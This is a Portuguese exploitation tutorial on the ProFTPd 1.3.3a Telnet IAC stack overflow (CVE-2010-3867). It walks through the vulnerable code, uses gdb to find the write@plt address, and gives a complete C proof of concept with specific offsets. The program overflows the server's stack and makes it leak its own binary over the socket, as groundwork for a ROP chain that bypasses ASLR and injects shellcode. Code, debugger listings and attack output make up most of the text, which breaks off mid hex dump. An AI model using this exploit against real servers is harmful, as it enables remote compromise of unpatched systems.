|=-------------------------------------------------------------------------------------=| █████▒██▓ ▄▄▄ █ █░ ██▓ ▓█████ ██████ ██████ ▓██ ▒▓██▒ ▒████▄ ▓█░ █ ░█░▓██▒ ▓█ ▀ ▒██ ▒ ▒██ ▒ ▒████ ░▒██░ ▒██ ▀█▄ ▒█░ █ ░█ ▒██░ ▒███ ░ ▓██▄ ░ ▓██▄ ░▓█▒ ░▒██░ ░██▄▄▄▄██ ░█░ █ ░█ ▒██░ ▒▓█ ▄ ▒ ██▒ ▒ ██▒ ░▒█░ ░██████▒▓█ ▓██▒░░██▒██▓ ░██████▒░▒████▒▒██████▒▒▒██████▒▒ ▒ ░ ░ ▒░▓ ░▒▒ ▓▒█░░ ▓░▒ ▒ ░ ▒░▓ ░░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░▒ ░ ░░ ░▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ██▒ █▓ ██▓ ▄████▄ ▄▄▄█████▓ ▒█████ ██▀███ ▓██ ██▓ ▓██░ █▒▓██▒▒██▀ ▀█ ▓ ██▒ ▓▒▒██▒ ██▒▓██ ▒ ██▒▒██ ██▒ ▓██ █▒░▒██▒▒▓█ ▄ ▒ ▓██░ ▒░▒██░ ██▒▓██ ░▄█ ▒ ▒██ ██░ ▒██ █░░░██░▒▓▓▄ ▄██▒░ ▓██▓ ░ ▒██ ██░▒██▀▀█▄ ░ ▐██▓░ ▒▀█░ ░██░▒ ▓███▀ ░ ▒██▒ ░ ░ ████▓▒░░██▓ ▒██▒ ░ ██▒▓░ ░ ▐░ ░▓ ░ ░▒ ▒ ░ ▒ ░░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ██▒▒▒ ░ ░░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░▓██ ░▒░ ░░ ▒ ░░ ░ ░ ░ ░ ▒ ░░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ |=-------------------------------------------------------------------------------------=| |=-----------=[ Exploração de código remoto: uma técnica bastante eficaz ]=------------=| |=-------------------------------------------------------------------------------------=| |=-----------------------=[ Ighor Augusto - a.k.a F0rb1dd3n ]=-------------------------=| |=-----------------------=[ f0rb1 [at] hotmail [dot] com ]=-------------------------=| |=-------------------------------------------------------------------------------------=| Olá pessoal. Estou aqui para falar sobre um assunto já muito falado na internet. Porém, talvez minha abordagem ajude muitas pessoas. Espero que este artigo contribua muito para os conhecimentos do leitor. Falarei sobre remote exploitation usando um simples e clássico stack overflow como exemplo. Entretanto esta técnica pode se estender à outros tipos de explorações de vulnerabilidades, cabe ao leitor enxergar aplicação desta técnica em outras situações. Quando pensamos em exploração de vulnerabilidades, sempre nos deparamos com defesas anti- exploitations como ASLR, NX/PaX, AAAs, stack cookie e etc. Cada uma dessas defesas implementa conceitos e paradigmas diferentes. O que dificulta o sucesso de uma exploração e muita das vezes um impecílio para quem quer escrever seu exploit. Driblar o stack cookie pode parecer uma coisa meio dificil no inicio, porém uma técnica simples, descrita por Adam Zabrocki (a.k.a pi3) no seu artigo da Phrack 67, é muito facil de ser implementada e pode ser bastante eficaz em diversos ambientes: trata-se de um simples bruteforce byte a byte. Assim é possivel descobrir o valor do stack cannary e continuar a exploração. Apesar de tal técnica funcionar em um ambiente restrito (chamadas fork() que não são seguidas de execve()), há outras maneiras de driblar o cookie (pointer dereference é uma delas, porém a exploração deixa de ser stack overflow e passa a ser pointer dereference). Não abordarei o bypass de stack cookie nesse paper, porém fica a dica do artigo do pi3 e lá tem outras referências para tal. Talvez uma das maiores dificuldades em explorar um software seja o ALSR. Geralmente é utilizado Return Oriented Programming para passar por esse tipo de defesa, porém há uma desvantagem: ROP utiliza dos bínários do proprio software explorado para poder encadear as instruções a serem executadas, ou seja, não é injetado código, mas sim reaproveitado o código do software alvo. A técnica aqui descrita, utiliza de programação orientada ao retorno para efetuar syscalls direto da PLT e injetar um shellcode. Assim estaremos aptos a burlar facilmente ASLR assim como outras defesas anti-exploitation, e injetando qualquer tipo de shellcode pré-programado. Bom chega de blá blá blá e vamos à prática!!! Vou usar como exemplo uma vulnerabilidade no ProFTPd (CVE-2010-3867) descoberta por TJ Sounders. A técnica que vou usar, é proposta por Nikolaos Rangos (a.k.a Kingcope) que publicou um exploit em Perl desse mesmo bug implementando a técnica, que é facilmente achado no exploit-db.com. Utilizarei o ProFTPd 1.3.3a, rodando em um Ubuntu 10.04, kernel 2.6.35-22-generic. Analizaremos a falha - segue abaixo um trecho adaptado por mim do artigo Scraps of notes on remote stack overflow exploitation do pi3 na Phrack 67: O bug ocorre quando é feito o parsing dos caracteres TELNET_IAC devido a um erro de calculo no final do loop de leitura. O problema ocorre na função pr_netio_telnet_gets() do arquivo src/netio.c: ------------------------------------------------------------------------------------------- char *pr_netio_telnet_gets(char *buf, size_t buflen, pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) { char *bp = buf; ... [L1] while (buflen) { ... toread = pr_netio_read(in_nstrm, pbuf->buf, (buflen < pbuf->buflen ? buflen : pbuf->buflen), 1); ... [L2] while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) { ... if (handle_iac == TRUE) { switch (telnet_mode) { case TELNET_IAC: switch (cp) { ... ... default: ... *bp++ = TELNET_IAC; [L3] buflen--; telnet_mode = 0; break; } ... } } *bp++ = cp; [L4] buflen--; } ... ... *bp = '\0'; return buf; } } -------------------------------------------------------------------------------------------- O loop (em L2) lê e faz o parse dos bytes recebidos, ao mesmo tempo é decrementado bufflen (o tamanho do buffer (em L4)). O problema ocorre quando os caracteres TELNET_IAC estão seguidos de 0xFF. Quando esse caractere ocorre no parsing de dados bufflen é decrementado (em L3). Então o resultado dessa situação é que o bufflen será decrementado em 2 bytes, e isto é perfeito para burlar uma verificação inapropriada (em L1). Portanto quando bufflen == 1 se o caractere TELNET_IAC for 0xFF então bufflen = 1 - 2 = -1. Como resultado o while(bufflen) (em L1) continuará e a copia de bytes continua até o final da string (quando o caractere "\n" é encontrado). A função pr_netio_telnet_gets() é chamada pela função pr_cmd_read() no arquivo src/main.c: -------------------------------------------------------------------------------------------- int pr_cmd_read(cmd_rec **res) { static long cmd_bufsz = -1; char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'}; ... while (TRUE) { ... if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm, session.c->outstrm) == NULL) { ... } ... ... return 0; } -------------------------------------------------------------------------------------------- Neste caso o argumento para a função vulneravel é um buffer local na pilha de execução, caracterizando uma vulnerabilidade classica de stack overflow. Nesse trecho do artigo do pi3, ele explica o porque ocorre a falha. Então sabemos que temos que conectar no ProFTPd e passar o byte 0xFF na posição correta do buffer para que ocorra o decremento duplo e faremos o bypass da verificação do loop, ativando a vulnerabilidade. Sabendo disso, podemos partir para a exploração! Para, conseguirmos achar os offsets de gadgets (para ROP), e das chamada das funções na PLT, temos que dar um jeito de ler os binários do servidor a ser explorado. Como? Aqui começa o pulo do gato, então sugiro prestar bastante atenção no que vem a seguir. Se podemos tomar controle do EIP em uma exploração de stack overflow classico, então podemos "mandar" o EIP para o endereço de uma syscall, ou seja, temos que retornar para a função de sistema. Aqui implementamos return-to-plt ou return-to-function. Mas qual função retornar? Alguma função que nos envie os bytes lidos do servidor. Então nada melhor que utilizar a syscall write(2) para efetuar essa funçao, olhem só: -------------------------------------------------------------------------------------------- WRITE(2) Linux Programmer's Manual WRITE(2) NAME top write - write to a file descriptor SYNOPSIS top #include ssize_t write(int fd, const void *buf, size_t count); DESCRIPTION top write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd. The number of bytes written may be less than count if, for example, there is insufficient space on the underlying physical medium, or the RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the call was interrupted by a signal handler after having written less than count bytes. (See also pipe(7).) For a seekable file (i.e., one to which lseek(2) may be applied, for example, a regular file) writing takes place at the current file offset, and the file offset is incremented by the number of bytes actually written. If the file was open(2)ed with O_APPEND, the file offset is first set to the end of the file before writing. The adjustment of the file offset and the write operation are performed as an atomic step. POSIX requires that a read(2) which can be proved to occur after a write() has returned returns the new data. Note that not all filesystems are POSIX conforming. RETURN VALUE top On success, the number of bytes written is returned (zero indicates nothing was written). On error, -1 is returned, and errno is set appropriately. If count is zero and fd refers to a regular file, then write() may return a failure status if one of the errors below is detected. If no errors are detected, 0 will be returned without causing any other effect. If count is zero and fd refers to a file other than a regular file, the results are not specified. ... ... ---------------------------------------------------------------------------------------------- Então write(2) escreve dados de um buffer em um file descriptor. E o que é um socket no linux? Nada mais nada menos que um file descriptor. Então com essa função podemos escrever bytes de um buffer em um socket, como haverá conexão aberta com esse socket, os bytes escritos nele serão enviados para a máquina conectada. Resumindo, com write(2) podemos enviar bytes de um buffer em uma conexão de socket. Então vejam como ficará inicialmente nosso buffer para chamar write(2): buffer: -> Bytes 0x00 simulando uma conexão TELNET_IAC que nao faz nada (número de bytes a definir) -> Byte 0xFF (aqui ativamos a vulnerabilidade) -> Junk (bytes aleatórios para preencher o buffer até sobrescrever o endereço de retorno) -> Endereço da chamada write(2) -> Crash (bytes para parar a execução após a chamada write(2)) -> File descriptor para write(2) - Será o descritor de arquivo do socket conectado -> Endereço do buffer onde write(2) irá ler os bytes a serem escritos no socket -> Tamanho do buffer a ser lido -> \x0a\x0d - finalizador de string ("\n") esquematicamente fica assim: \xff\x00\x00\x00 --------> Ativando a vulnerabilidade \x41\x41\x41\x41 -----| ... |--> \x41 = A (na tabela ASCII) \x41\x41\x41\x41 -----| Endereço de write \xcc\xcc\xcc\xcc --------> \xcc = breakpoint (pára a execução) \x01\x00\x00\x00 --------> file descriptor do socket no ProFTPd Endereço de write -------> Usarei o endereço da propria chamada de write como ponto de partida \xff\xff\x0f\x00 --------> número de bytes a serem lido (0xfffff bytes) \x0a\x0d ----------------> finalizador de string Como estamos utilizando a arquitetura x86, então os bytes são tratados em little endian, por isso estão "invertidos". Como a região de JUNK não servirá para nada além de preencher o buffer, coloquei \x41 (equivalente a letra A na tabela ASCII), pois é um valor neutro que não fará diferença alguma. Os bytes logo despois a chamada write(2), servem para parar a execução. Pois após executarmos a chamada write(2) o próximo endereço será a instrução após o retorno, como no nosso buffer utilizaremos as proximas regiões e para evitarmos problemas de execução, é colocado valor de breakpoint para que a conexão trave e seja encerrada. O file descriptor do socket utilizado para a conexão é 01, que é facilmente descoberto analizando o processo do ProFTPd. Existem ferramentas nativas do linux que mostram os file descriptors usados em um processo, e debuggando, também, é outro caminho. Assim como o tamanho do offset antes de 0xFF (para ativar a vulnerabilidade) e o tamanho do JUNK para preencher o buffer até sobrescrever o endereço de retorno, são coisas faceis de serem determinadas atravéz de debug do processo. Então deixarei essas coisinhas a cargo do leitor, para que possa exercitar suas habilidades de debugging, que é excencial para uma exploração de sucesso. Utilizarei o endereço da chamada write(2) como ponto de partida para leitura dos bytes, mas poderia ser qualquer endereço de memória onde reside os binários do ProFTPd (quanto mais próximo do início melhor!) Os bytes \xff\xff\x0f\x00 mostram o tamanho do buffer a ser lido, pode ser qualquer valor, mas quanto maior melhor, mais bytes serão lidos. Esse tamanho é o tamanho necessário para ler todos os bytes dos binários do ProFTPd. Mas e o endereço de write(2)? Pode ser facilmente encontrado com objdump e outras ferramentas de disassembly, porém uma listagem de funções com o gdb já basta: Máquina a ser atacada: ------------------------------------------------------------------------------- root@ubuntu:/home/neo# ps aux | grep proftpd proftpd 1283 0.0 0.0 8360 1712 ? Ss Sep11 0:00 proftpd: (accepting connections) root 5047 0.0 0.0 4172 752 pts/0 S+ 08:49 0:00 grep --color=auto proftpd root@ubuntu:/home/neo# gdb -q (gdb) attach 1283 Attaching to process 1283 Reading symbols from /usr/sbin/proftpd...(no debugging symbols found)...done. Reading symbols from /lib/i386-linux-gnu/libcrypt.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libcrypt.so.1 Reading symbols from /lib/i386-linux-gnu/libz.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libz.so.1 Reading symbols from /lib/libacl.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/libacl.so.1 Reading symbols from /lib/libattr.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/libattr.so.1 Reading symbols from /lib/libssl.so.0.9.8...(no debugging symbols found)...done. Loaded symbols for /lib/libssl.so.0.9.8 Reading symbols from /lib/libcrypto.so.0.9.8...(no debugging symbols found)...done. Loaded symbols for /lib/libcrypto.so.0.9.8 Reading symbols from /lib/libcap.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/libcap.so.2 Reading symbols from /lib/libpam.so.0...(no debugging symbols found)...done. Loaded symbols for /lib/libpam.so.0 Reading symbols from /lib/i386-linux-gnu/libdl.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libdl.so.2 Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/i386-linux-gnu/libnss_files.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libnss_files.so.2 Reading symbols from /usr/lib/proftpd/mod_ctrls_admin.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_ctrls_admin.so Reading symbols from /usr/lib/proftpd/mod_tls.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_tls.so Reading symbols from /usr/lib/proftpd/mod_radius.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_radius.so Reading symbols from /usr/lib/proftpd/mod_quotatab.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_quotatab.so Reading symbols from /usr/lib/proftpd/mod_quotatab_file.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_quotatab_file.so Reading symbols from /usr/lib/proftpd/mod_quotatab_radius.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_quotatab_radius.so Reading symbols from /usr/lib/proftpd/mod_wrap.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_wrap.so Reading symbols from /lib/libwrap.so.0...(no debugging symbols found)...done. Loaded symbols for /lib/libwrap.so.0 Reading symbols from /lib/i386-linux-gnu/libnsl.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libnsl.so.1 Reading symbols from /usr/lib/proftpd/mod_rewrite.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_rewrite.so Reading symbols from /usr/lib/proftpd/mod_load.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_load.so Reading symbols from /usr/lib/proftpd/mod_ban.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_ban.so Reading symbols from /usr/lib/proftpd/mod_wrap2.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_wrap2.so Reading symbols from /usr/lib/proftpd/mod_wrap2_file.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_wrap2_file.so Reading symbols from /usr/lib/proftpd/mod_dynmasq.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_dynmasq.so Reading symbols from /usr/lib/proftpd/mod_vroot.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_vroot.so Reading symbols from /usr/lib/proftpd/mod_exec.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_exec.so Reading symbols from /usr/lib/proftpd/mod_shaper.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_shaper.so Reading symbols from /usr/lib/proftpd/mod_ratio.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_ratio.so Reading symbols from /usr/lib/proftpd/mod_site_misc.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_site_misc.so Reading symbols from /usr/lib/proftpd/mod_sftp.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_sftp.so Reading symbols from /usr/lib/proftpd/mod_sftp_pam.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_sftp_pam.so Reading symbols from /usr/lib/proftpd/mod_facl.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_facl.so Reading symbols from /usr/lib/proftpd/mod_unique_id.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_unique_id.so Reading symbols from /usr/lib/proftpd/mod_ifsession.so...(no debugging symbols found)...done. Loaded symbols for /usr/lib/proftpd/mod_ifsession.so Reading symbols from /lib/i386-linux-gnu/libnss_compat.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libnss_compat.so.2 Reading symbols from /lib/i386-linux-gnu/libnss_nis.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/libnss_nis.so.2 0x00cf9416 in __kernel_vsyscall () (gdb) info functions All defined functions: Non-debugging symbols: 0x08052ff8 _init 0x08053038 fileno 0x08053038 fileno@plt 0x08053048 __errno_location 0x08053048 __errno_location@plt 0x08053058 statvfs64 0x08053058 statvfs64@plt 0x08053068 sigemptyset 0x08053068 sigemptyset@plt 0x08053078 sprintf 0x08053078 sprintf@plt 0x08053088 srand 0x08053088 srand@plt 0x08053098 pam_start 0x08053098 pam_start@plt 0x080530a8 connect 0x080530a8 connect@plt 0x080530b8 setgroups 0x080530b8 setgroups@plt 0x080530c8 pam_close_session 0x080530c8 pam_close_session@plt 0x080530d8 getpid 0x080530d8 getpid@plt 0x080530e8 mkdir 0x080530e8 mkdir@plt 0x080530f8 dirfd 0x080530f8 dirfd@plt 0x08053108 strerror 0x08053108 strerror@plt 0x08053118 creat64 0x08053118 creat64@plt 0x08053128 getsockname 0x08053128 getsockname@plt 0x08053138 regfree 0x08053138 regfree@plt 0x08053148 setrlimit64 0x08053148 setrlimit64@plt 0x08053158 strcoll 0x08053158 strcoll@plt 0x08053168 sysconf 0x08053168 sysconf@plt 0x08053178 qsort 0x08053178 qsort@plt 0x08053188 freeaddrinfo 0x08053188 freeaddrinfo@plt 0x08053198 shutdown 0x08053198 shutdown@plt 0x080531a8 pam_strerror 0x080531a8 pam_strerror@plt 0x080531b8 open64 0x080531b8 open64@plt 0x080531c8 signal 0x080531c8 signal@plt 0x080531d8 __gmon_start__ 0x080531d8 __gmon_start__@plt 0x080531e8 realloc 0x080531e8 realloc@plt 0x080531f8 siginterrupt 0x080531f8 siginterrupt@plt 0x08053208 iconv_open 0x08053208 iconv_open@plt 0x08053218 rewind 0x08053218 rewind@plt 0x08053228 unsetenv 0x08053228 unsetenv@plt 0x08053238 __xstat64 0x08053238 __xstat64@plt 0x08053248 localtime 0x08053248 localtime@plt 0x08053258 getgrnam 0x08053258 getgrnam@plt 0x08053268 strtod 0x08053268 strtod@plt 0x08053278 strchr 0x08053278 strchr@plt 0x08053288 vsnprintf 0x08053288 vsnprintf@plt 0x08053298 getenv 0x08053298 getenv@plt 0x080532a8 calloc 0x080532a8 calloc@plt 0x080532b8 strncpy 0x080532b8 strncpy@plt 0x080532c8 fchown 0x080532c8 fchown@plt 0x080532d8 write 0x080532d8 write@plt <--------------- endereço de write(2) na PLT (0x080532d8) 0x080532e8 tzset 0x080532e8 tzset@plt 0x080532f8 fgetpwent 0x080532f8 fgetpwent@plt 0x08053308 cap_set_proc 0x08053308 cap_set_proc@plt 0x08053318 listen 0x08053318 listen@plt 0x08053328 dlclose 0x08053328 dlclose@plt ... ... ... ------------------------------------------------------------------------------------------------- Então sabemos que o endereço para write(2) é 0x080532d8, debugando o software encontra-se que o alinhamento para ativar a vulnerabilidade é de 4101 bytes e o numero de bytes para Junk é 34. Então já temos o suficiente para escrever uma prova de conceito para chamada write(2). Olhe só nosso código: ------------------------------------------------------------------------------------------------- #include #include #include #include #include #include #include #define OFFSET 4101 #define PADDING 34 #define WRITE 0x080532d8 char write_fd[]="\x01\x00\x00\x00"; char write_len[]="\xff\xff\x0f\x00"; char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41"; // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // dumps raw memory in hex byte and printable split format void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j; for(i=0; i < length; i++) { byte = data_buffer[i]; printf("%02x ", data_buffer[i]); // display byte in hex if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf("| "); for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // end of the dump line (each line 16 bytes) } // end if } // end for printf("\n"); } int main(int argc, char *argv[]) { int sockfd; struct hostent *host_info; struct sockaddr_in target_addr; unsigned char buffer[OFFSET+1+PADDING+22]; unsigned char read_buffer[0xfffff]; if(argc < 2) { printf("\n\t Showcase Telnet IAC remote call write(2)\n"); printf("\t Writen by: F0rb1dd3n\n"); printf("\n\t Usage: %s \n\n", argv[0]); exit(1); } if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(21); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct printf("\n\t Showcase Telnet IAC remote call write(2)\n"); printf("\t Writen by: F0rb1dd3n\n"); printf("\n\t Target: %s\n", argv[1]); printf("\n\t Trying write(2) offset: 0x%08x", WRITE); bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); write(sockfd, buffer, OFFSET+1+PADDING+22); bzero(read_buffer, sizeof(read_buffer)); if(read(sockfd, read_buffer, 0xfffff) != 0) { printf("\n\t [+] Success on write(2)\n\n"); close(sockfd); dump(read_buffer, 0xffff); } } ------------------------------------------------------------------------------------------------ Nosso código é simples e eficaz. O que ele faz? Ele cria um socket, conecta no ProFTPd, cria um buffer como nós previmos acima, envia o buffer atravéz de write(), nosso buffer irá explorar a vulnerabilidade e executar a syscall write(2), então os binários do servidor serão retornados para nós, portanto iremos ler os bytes retornados no socket com read() e colocamos eles em read_buffer, em seguida, se a operação foi um sucesso, imprimimos os bytes na tela com a função escrita por mim dump(). Vejam a saída do nosso programa: Máquina atacante: ------------------------------------------------------------------------------- root@kali:~/Studies# gcc proftpd-call-write.c -o proftpd-call-write root@kali:~/Studies# ./proftpd-call-write Showcase Telnet IAC remote call write(2) Writen by: F0rb1dd3n Usage: ./proftpd-call-write root@kali:~/Studies# ./proftpd-call-write 192.168.25.18 Showcase Telnet IAC remote call write(2) Writen by: F0rb1dd3n Target: 192.168.25.18 Trying write(2) offset: 0x080532d8 [+] Success on write(2) 32 32 30 20 50 72 6f 46 54 50 44 20 31 2e 33 2e | 220 ProFTPD 1.3. 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 | 3a Server (Debia 6e 29 20 5b 3a 3a 66 66 66 66 3a 31 39 32 2e 31 | n) [::ffff:192.1 36 38 2e 32 35 2e 31 38 5d 0d 0a ff 25 a4 7e 0d | 68.25.18]...%.~. 08 68 50 01 00 00 e9 40 fd ff ff ff 25 a8 7e 0d | .hP....@....%.~. 08 68 58 01 00 00 e9 30 fd ff ff ff 25 ac 7e 0d | .hX....0....%.~. 08 68 60 01 00 00 e9 20 fd ff ff ff 25 b0 7e 0d | .h`.... ....%.~. 08 68 68 01 00 00 e9 10 fd ff ff ff 25 b4 7e 0d | .hh.........%.~. 08 68 70 01 00 00 e9 00 fd ff ff ff 25 b8 7e 0d | .hp.........%.~. 08 68 78 01 00 00 e9 f0 fc ff ff ff 25 bc 7e 0d | .hx.........%.~. 08 68 80 01 00 00 e9 e0 fc ff ff ff 25 c0 7e 0d | .h..........%.~. 08 68 88 01 00 00 e9 d0 fc ff ff ff 25 c4 7e 0d | .h..........%.~. 08 68 90 01 00 00 e9 c0 fc ff ff ff 25 c8 7e 0d | .h..........%.~. 08 68 98 01 00 00 e9 b0 fc ff ff ff 25 cc 7e 0d | .h..........%.~. 08 68 a0 01 00 00 e9 a0 fc ff ff ff 25 d0 7e 0d | .h..........%.~. 08 68 a8 01 00 00 e9 90 fc ff ff ff 25 d4 7e 0d | .h..........%.~. 08 68 b0 01 00 00 e9 80 fc ff ff ff 25 d8 7e 0d | .h..........%.~. 08 68 b8 01 00 00 e9 70 fc ff ff ff 25 dc 7e 0d | .h.....p....%.~. 08 68 c0 01 00 00 e9 60 fc ff ff ff 25 e0 7e 0d | .h.....`....%.~. 08 68 c8 01 00 00 e9 50 fc ff ff ff 25 e4 7e 0d | .h.....P....%.~. 08 68 d0 01 00 00 e9 40 fc ff ff ff 25 e8 7e 0d | .h.....@....%.~. 08 68 d8 01 00 00 e9 30 fc ff ff ff 25 ec 7e 0d | .h.....0....%.~. 08 68 e0 01 00 00 e9 20 fc ff ff ff 25 f0 7e 0d | .h..... ....%.~. 08 68 e8 01 00 00 e9 10 fc ff ff ff 25 f4 7e 0d | .h..........%.~. 08 68 f0 01 00 00 e9 00 fc ff ff ff 25 f8 7e 0d | .h..........%.~. 08 68 f8 01 00 00 e9 f0 fb ff ff ff 25 fc 7e 0d | .h..........%.~. 08 68 00 02 00 00 e9 e0 fb ff ff ff 25 00 7f 0d | .h..........%... 08 68 08 02 00 00 e9 d0 fb ff ff ff 25 04 7f 0d | .h..........%... 08 68 10 02 00 00 e9 c0 fb ff ff ff 25 08 7f 0d | .h..........%... 08 68 18 02 00 00 e9 b0 fb ff ff ff 25 0c 7f 0d | .h..........%... 08 68 20 02 00 00 e9 a0 fb ff ff ff 25 10 7f 0d | .h .........%... 08 68 28 02 00 00 e9 90 fb ff ff ff 25 14 7f 0d | .h(.........%... 08 68 30 02 00 00 e9 80 fb ff ff ff 25 18 7f 0d | .h0.........%... 08 68 38 02 00 00 e9 70 fb ff ff ff 25 1c 7f 0d | .h8....p....%... 08 68 40 02 00 00 e9 60 fb ff ff ff 25 20 7f 0d | .h@....`....% .. 08 68 48 02 00 00 e9 50 fb ff ff ff 25 24 7f 0d | .hH....P....%$.. 08 68 50 02 00 00 e9 40 fb ff ff ff 25 28 7f 0d | .hP....@....%(.. 08 68 58 02 00 00 e9 30 fb ff ff ff 25 2c 7f 0d | .hX....0....%,.. 08 68 60 02 00 00 e9 20 fb ff ff ff 25 30 7f 0d | .h`.... ....%0.. 08 68 68 02 00 00 e9 10 fb ff ff ff 25 34 7f 0d | .hh.........%4.. 08 68 70 02 00 00 e9 00 fb ff ff ff 25 38 7f 0d | .hp.........%8.. 08 68 78 02 00 00 e9 f0 fa ff ff ff 25 3c 7f 0d | .hx.........%<.. 08 68 80 02 00 00 e9 e0 fa ff ff ff 25 40 7f 0d | .h..........%@.. 08 68 88 02 00 00 e9 d0 fa ff ff ff 25 44 7f 0d | .h..........%D.. 08 68 90 02 00 00 e9 c0 fa ff ff ff 25 48 7f 0d | .h..........%H.. 08 68 98 02 00 00 e9 b0 fa ff ff ff 25 4c 7f 0d | .h..........%L.. 08 68 a0 02 00 00 e9 a0 fa ff ff ff 25 50 7f 0d | .h..........%P.. 08 68 a8 02 00 00 e9 90 fa ff ff ff 25 54 7f 0d | .h..........%T.. 08 68 b0 02 00 00 e9 80 fa ff ff ff 25 58 7f 0d | .h..........%X.. 08 68 b8 02 00 00 e9 70 fa ff ff ff 25 5c 7f 0d | .h.....p....%\.. 08 68 c0 02 00 00 e9 60 fa ff ff ff 25 60 7f 0d | .h.....`....%`.. 08 68 c8 02 00 00 e9 50 fa ff ff ff 25 64 7f 0d | .h.....P....%d.. 08 68 d0 02 00 00 e9 40 fa ff ff ff 25 68 7f 0d | .h.....@....%h.. 08 68 d8 02 00 00 e9 30 fa ff ff ff 25 6c 7f 0d | .h.....0....%l.. 08 68 e0 02 00 00 e9 20 fa ff ff ff 25 70 7f 0d | .h..... ....%p.. 08 68 e8 02 00 00 e9 10 fa ff ff ff 25 74 7f 0d | .h..........%t.. 08 68 f0 02 00 00 e9 00 fa ff ff ff 25 78 7f 0d | .h..........%x.. 08 68 f8 02 00 00 e9 f0 f9 ff ff ff 25 7c 7f 0d | .h..........%|.. 08 68 00 03 00 00 e9 e0 f9 ff ff 